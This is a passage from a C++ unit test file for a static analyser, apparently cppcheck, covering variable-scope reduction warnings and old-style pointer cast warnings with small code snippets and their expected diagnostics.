ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void 